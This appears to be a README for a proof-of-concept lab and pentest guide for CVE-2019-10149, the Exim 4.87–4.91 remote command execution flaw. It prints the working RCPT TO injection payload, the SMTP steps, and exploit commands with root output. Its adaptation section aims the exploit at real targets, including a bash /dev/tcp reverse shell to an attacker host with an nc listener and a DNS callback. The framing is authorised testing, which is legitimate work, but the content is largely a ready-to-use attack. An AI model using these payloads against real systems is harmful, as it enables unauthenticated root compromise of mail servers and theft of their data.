CVE-2019-10149 — Exim Remote Command Execution ("Return of the WIZard")
Overview
| Field | Value |
|---|---|
| CVE | CVE-2019-10149 |
| Software | Exim Mail Transfer Agent |
| Version Tested | 4.89 |
| Vulnerable Range | 4.87 – 4.91 (inclusive) |
| Type | RCE (Remote Command Execution) |
| CVSS Score | 9.8 (Critical) |
| Attack Vector | Network |
| Authentication | Not required |
A critical flaw in Exim's deliver_message() function (src/deliver.c) causes the recipient address to be passed through expand_string() without sanitization. An attacker can embed ${run{cmd}} Exim string-expansion syntax in the RCPT TO address, causing arbitrary OS commands to execute with the privileges of the Exim delivery process — root in affected default configurations.
Quick Start
bash verify.sh
This command builds the environment, runs the exploit, and prints the result. Expect the full run to take approximately 3–5 minutes (including the Docker source build on the first run).
Environment
- Base image: debian:9 (Stretch)
- Exim build: Compiled from source, version 4.89,
EXIM_USER=root - Port:
2525on the host maps to25(SMTP) inside the container - Config: Minimal, permissive — accepts all SMTP without recipient verification (simulates a relay or misconfigured server)
- Setup time: ~3–5 min first run (source build), ~15 seconds on subsequent runs
docker compose up -d # start
docker compose logs -f # watch logs
docker compose down # teardown
Exploit
- File:
exploit/exploit.py - Language: Python 3 (stdlib only, no dependencies)
- Source: Based on MNEMO-CERT/PoC--CVE-2019-10149_Exim and hackerhouse-opensource/exploits
How It Works
Vulnerability mechanism:
- Exim's
deliver_message()insrc/deliver.ccallsdeliver_make_addr(recipient, TRUE)at line ~7161 - The
TRUEparameter causesexpand_string()to be called on the recipient address - Exim's string expansion language supports
${run{cmd}}which executes arbitrary shell commands - The expansion result (command stdout) becomes the delivery address — but the command has already run
- The delivery eventually fails (invalid address), but the side-effect (code execution) has occurred
Exploit payload:
RCPT TO: <${run{\x2Fbin\x2Fsh\t-c\t\x22<command>\x22}}@localhost>
\x2F→/,\t→ TAB (argument separator in${run{}}),\x22→"/bin/sh -c "<command>"is executed as the Exim delivery process user (root)- 31
Received:headers trigger the "too many hops" error path indeliver_message(), which calls the vulnerabledeliver_make_addr()before marking the message as failed
Step-by-step exploitation:
- Connect to Exim's SMTP port
EHLO exploit.localMAIL FROM: <>RCPT TO: <${run{\x2Fbin\x2Fsh\t-c\t\x22<cmd>\x22}}@localhost>— payload accepted (noverify=recipient)DATA+ 31Received:headers +.— message queued- Exim's delivery subprocess expands the recipient, executing the command as root
- The delivery fails ("Too many Received headers"), but the command has run
Manual Usage
# Start environment
docker compose up -d
# Run exploit (no deps required)
python3 exploit/exploit.py --target 127.0.0.1 --port 2525 --cmd "id > /tmp/pwned" -v
# Wait ~8 seconds for delivery, then read result
docker exec exim-victim cat /tmp/pwned
Expected Output
============================================================
CVE-2019-10149 — Exim 4.87-4.91 RCE PoC
============================================================
[*] Target : 127.0.0.1:2525
[*] Command : id > /tmp/pwned
[*] Connecting to 127.0.0.1:2525
[*] Banner: 220 victim.local ESMTP Exim 4.89 ...
[*] EHLO → 250-victim.local Hello exploit.local ...
[*] MAIL FROM → 250 OK
[*] RCPT TO (payload) → 250 Accepted
[*] DATA → 354 Enter message, ending with "." on a line by itself
[*] End-of-DATA → 250 OK id=1w2vYJ-000007-QX
[+] Payload accepted — Exim will expand and execute the command
[*] Waiting 5 seconds for Exim delivery process ...
[+] Done. Check for command output on the target.
$ docker exec exim-victim cat /tmp/pwned
uid=0(root) gid=0(root) groups=0(root)
Pentest Adaptation Guide
Target Discovery
Identify vulnerable Exim versions during reconnaissance:
# Grab SMTP banner (version is disclosed by default)
nc <target> 25
# Expected: 220 hostname ESMTP Exim 4.87/4.88/4.89/4.90/4.91 ...
# Nmap service detection
nmap -sV -p25,587,465 <target>
# Check version directly if you have shell access
exim --version
exim4 --version
Version 4.87–4.91 → potentially vulnerable. Version 4.92+ is patched.
Adapting the Exploit
For a real target (authorized engagement):
# Replace localhost:2525 with the actual target
python3 exploit/exploit.py --target <TARGET_IP> --port 25 --cmd "id > /tmp/pentest_proof.txt" -v
# Read output out-of-band (e.g. reverse shell callback)
python3 exploit/exploit.py --target <TARGET_IP> --port 25 \
--cmd "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"
# On your attacker machine, listen for the shell:
nc -lvnp <LPORT>
Key parameters to change:
--target: Replace127.0.0.1with target IP/hostname--port: Default SMTP is 25; submission ports 587/465 usually require auth--cmd: Use a command appropriate for your objective (see Safe Verification below)- Network path: Ensure TCP port 25 is reachable (not firewalled); some ISPs block outbound port 25
ACL requirements: This exploit works when the target Exim does NOT use verify=recipient ACL for the attacker's source IP. This is common in:
- Mail relays (where
relay_from_hostsincludes attacker's network) - Internally-accessible mail servers
- Servers with overly permissive ACL configs
For hosts with verify=recipient enabled (default Debian config), the remote exploit requires either the 7-day connection-hold technique or a local shell on the target.
Safe Verification (Non-Destructive)
Prove exploitability without causing damage:
# 1. Read-only proof — write hostname to a world-readable temp file
python3 exploit/exploit.py --target <TARGET> --port 25 \
--cmd "hostname > /tmp/pentest_$(date +%s).txt"
# 2. DNS callback (no file write needed)
python3 exploit/exploit.py --target <TARGET> --port 25 \
--cmd "nslookup \$(hostname).proof.<YOUR_BURP_COLLABORATOR_HOST>"
# 3. Use the Metasploit check command (non-destructive)
msfconsole -q -x "use exploit/unix/smtp/exim4_deliver_message_priv_esc; \
set RHOSTS <TARGET>; check; exit"
Do NOT:
- Run destructive commands (
rm -rf,dd, etc.) on production systems - Create persistent backdoors or accounts
- Exfiltrate real user data
- Run the default setuid-shell payloads from other PoCs without permission
Evidence Collection
For pentest reporting, capture:
# Terminal screenshot showing SMTP conversation + id output
# Log the full exploit run:
python3 exploit/exploit.py --target <TARGET> --port 25 \
--cmd "id && hostname && uname -a && date > /tmp/pentest_rce_proof.txt" -v \
| tee exploit_evidence.txt
# CVSS vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
# OWASP classification: A1 - Injection / A3 - Injection (2021)
# CWE-78: OS Command Injection
Finding template:
Title: Remote Command Execution via Exim RCPT TO Expansion (CVE-2019-10149)
Severity: Critical (CVSS 9.8)
Affected host: <ip>:25
Evidence: Command 'id' returned 'uid=0(root) gid=0(root)'
Impact: Full system compromise; unauthenticated attacker achieves root shell
Remediation: Upgrade Exim to version 4.92 or later